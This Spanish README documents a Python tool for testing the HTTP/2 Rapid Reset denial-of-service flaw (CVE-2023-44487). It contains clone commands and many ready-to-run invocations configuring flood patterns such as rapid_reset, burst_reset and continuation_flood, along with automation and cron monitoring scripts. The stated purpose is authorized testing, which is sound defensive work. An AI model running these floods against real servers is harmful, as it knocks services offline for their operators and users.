
Herramienta de pruebas basada en Python para CVE-2023-44487 (HTTP/2 Rapid Reset) con múltiples patrones de ataque, configuración granular y monitoreo para evaluaciones de seguridad autorizadas.
Una herramienta integral de pruebas en Python para CVE-2023-44487, la vulnerabilidad de Rapid Reset en HTTP/2. Esta versión mejorada proporciona control granular sobre los parámetros de prueba, múltiples patrones de ataque y capacidades avanzadas de monitoreo.
¡Esta herramienta es SOLO para fines educativos y pruebas autorizadas!
CVE-2023-44487, también conocido como "HTTP/2 Rapid Reset", es una vulnerabilidad crítica en el protocolo HTTP/2 que permite a los atacantes:
Puntuación CVSS: 7.5 (Alta)
Impacto: Denegación de Servicio, Agotamiento de Recursos
git clone https://github.com/madhusudhan-in/CVE_2023_44487-Rapid_Reset.git
cd CVE_2023_44487-Rapid_Reset
chmod +x rapid_reset_test.py
python3 --version # Debe ser 3.7+
python3 rapid_reset_test.py https://servidor-objetivo.com
python3 rapid_reset_test.py https://objetivo.com \
--connections 50 \
--requests 1000 \
--delay 0 \
--pattern rapid_reset \
--track-latency \
--output json
python3 rapid_reset_test.py https://objetivo.com \
--pattern burst_reset \
--burst-size 5 \
--burst-delay 2.0 \
--custom-headers "User-Agent: Mozilla/5.0 (legitbot)" "Authorization: Bearer token123" \
--jitter 0.3
python3 rapid_reset_test.py https://objetivo.com \
--window-size 32768 \
--frame-size 32768 \
--header-table-size 8192 \
--enable-push \
--priority-frames \
--randomize-streams
python3 rapid_reset_test.py https://objetivo.com \
--connections 10 \
--requests 200 \
--pattern mixed_pattern \
--track-latency \
--track-responses \
--monitor-memory \
--verbose \
--debug \
--log-file attack.log
python3 rapid_reset_test.py https://objetivo.com \
--pattern continuation_flood \
--requests 50 \
--random-headers \
--header-count 20
| Opción | Descripción | Predeterminado |
|---|---|---|
-c, --connections N | Número de conexiones concurrentes | 1 |
--connection-timeout SEC | Tiempo de espera de conexión en segundos | 10 |
--read-timeout SEC | Tiempo de espera de lectura para respuestas | 5 |
--connection-delay SEC | Retraso entre conexiones | 0.0 |
| Opción | Descripción | Predeterminado |
|---|---|---|
-r, --requests N | Solicitudes por conexión | 100 |
--delay SEC | Retraso entre HEADERS y RST_STREAM | 0.001 |
--request-delay SEC | Retraso entre solicitudes | 0.0 |
--jitter FACTOR | Factor de aleatorización de temporización | 0.0 |
| Opción | Descripción | Predeterminado |
|---|---|---|
--pattern TYPE | Patrón de ataque a utilizar | rapid_reset |
--burst-size N | Solicitudes por ráfaga | 10 |
--burst-delay SEC | Retraso entre ráfagas | 0.1 |
Patrones Disponibles:
rapid_reset - Ataque estándar de reset rápidoburst_reset - Ataques basados en ráfagasgradual_reset - Tasa que aumenta gradualmenterandom_reset - Temporización aleatoriacontinuation_flood - Inundación de tramas CONTINUATIONmixed_pattern - Mezcla de patrones| Opción | Descripción | Predeterminado |
|---|---|---|
--window-size BYTES | Tamaño inicial de ventana HTTP/2 | 65535 |
--frame-size BYTES | Tamaño máximo de trama | 16384 |
--header-table-size BYTES | Tamaño de tabla de cabeceras HPACK | 4096 |
--enable-push | Habilitar push del servidor HTTP/2 | False |
--rst-error-code CODE | Código de error RST_STREAM | 8 |
| Opción | Descripción | Predeterminado |
|---|---|---|
--custom-headers HEADER | Cabeceras personalizadas (Nombre: Valor) | None |
--random-headers | Generar cabeceras aleatorias | False |
--header-count N | Número de cabeceras aleatorias | 5 |
| Opción | Descripción | Predeterminado |
|---|---|---|
--randomize-streams | Usar IDs de flujo aleatorios | False |
--priority-frames | Incluir información de prioridad | False |
--continue-on-error | Continuar después de errores | True |
--max-errors N | Máximo de errores antes de detenerse | 10 |
| Opción | Descripción | Predeterminado |
|---|---|---|
--track-latency | Rastrear latencia de solicitudes | False |
--track-responses | Rastrear respuestas del servidor | False |
--monitor-memory | Monitorear uso de memoria | False |
| Opción | Descripción | Predeterminado |
|---|---|---|
--output FORMAT | Formato de salida | console |
--output-file FILE | Nombre del archivo de salida | auto-generado |
--verbose, -v | Salida detallada | False |
--debug | Registro de depuración | False |
--log-file FILE | Registrar en archivo | None |
Formatos de Salida Disponibles:
console - Salida de consola legible para humanosjson - JSON legible por máquinacsv - CSV compatible con hojas de cálculoxml - Formato XML estructuradoLa herramienta proporciona resultados integrales que incluyen:
{
"target_url": "https://example.com",
"test_config": {
"attack_pattern": "rapid_reset",
"max_connections": 10,
"requests_per_connection": 100,
"delay_between_headers_rst": 0.001
},
"test_summary": {
"duration": 2.34,
"successful_connections": 10,
"total_successful_attacks": 950,
"success_rate": 95.0,
"requests_per_second": 405.98,
"total_bytes_sent": 125600,
"average_latency": 0.0024
},
"connection_stats": [...],
"errors": [...],
"timestamp": 1640995200.0
}
La herramienta evalúa automáticamente la vulnerabilidad:
Si su servidor resulta vulnerable, implemente estas mitigaciones:
import subprocess
import json
# Ejecutar prueba automatizada
result = subprocess.run([
'python3', 'rapid_reset_test.py',
'https://objetivo.com',
'--pattern', 'mixed_pattern',
'--output', 'json',
'--output-file', 'results.json'
])
# Analizar resultados
with open('results.json') as f:
data = json.load(f)
vulnerability_score = data['test_summary']['success_rate']
if vulnerability_score > 80:
print(f"RIESGO ALTO: {vulnerability_score}% tasa de éxito")
#!/bin/bash
# Trabajo cron: 0 2 * * * /ruta/al/monitor.sh
python3 rapid_reset_test.py https://miservidor.com \
--pattern rapid_reset \
--connections 5 \
--requests 50 \
--output json \
--output-file /var/log/rapid-reset-$(date +%Y%m%d).json
# Alertar si se detecta vulnerabilidad
if [ $(jq '.test_summary.success_rate' /var/log/rapid-reset-$(date +%Y%m%d).json) -gt 80 ]; then
echo "ALERTA: El servidor es vulnerable al ataque de reset rápido" | mail -s "Alerta de Seguridad" [email protected]
fi
import pandas as pd
import matplotlib.pyplot as plt
# Cargar y analizar resultados CSV
df = pd.read_csv('results.csv')
# Visualizar éxito del ataque por conexión
plt.figure(figsize=(12, 6))
plt.subplot(1, 2, 1)
df.plot(x='connection_id', y='successful_attacks', kind='bar')
plt.title('Éxito del Ataque por Conexión')
plt.subplot(1, 2, 2)
df['success_rate'] = (df['successful_attacks'] / df['total_attacks']) * 100
plt.hist(df['success_rate'], bins=20)
plt.title('Distribución de Tasa de Éxito')
plt.show()
Conexión rechazada:
Errores SSL/TLS:
--debug para información SSL detalladaBajas tasas de éxito:
Problemas de rendimiento:
--debug y --log-file para análisis--verbose --debug --log-file debug.log--connections 1 --requests 10--track-responses--track-latencyEsta herramienta se proporciona bajo la Licencia MIT. Consulte el archivo LICENSE para más detalles.
Esta herramienta está destinada a profesionales de ciberseguridad, investigadores y administradores de sistemas para probar sus propios sistemas o sistemas para los cuales tienen permiso explícito para probar. Los autores no son responsables del mal uso de esta herramienta.
Puntos Legales Clave:
Recuerde: Un gran poder conlleva una gran responsabilidad. Use esta herramienta de manera ética y legal.
La versión mejorada mantiene compatibilidad hacia atrás con la versión básica. Todas las opciones existentes de línea de comandos continúan funcionando, con nuevas opciones que proporcionan capacidades adicionales.
Para usuarios que actualizan desde la versión básica:
# El uso básico antiguo sigue funcionando
python3 rapid_reset_test.py https://example.com --connections 5 --requests 100
# Nuevo uso mejorado con opciones adicionales
python3 rapid_reset_test.py https://example.com \
--connections 5 --requests 100 \
--pattern burst_reset --track-latency --output json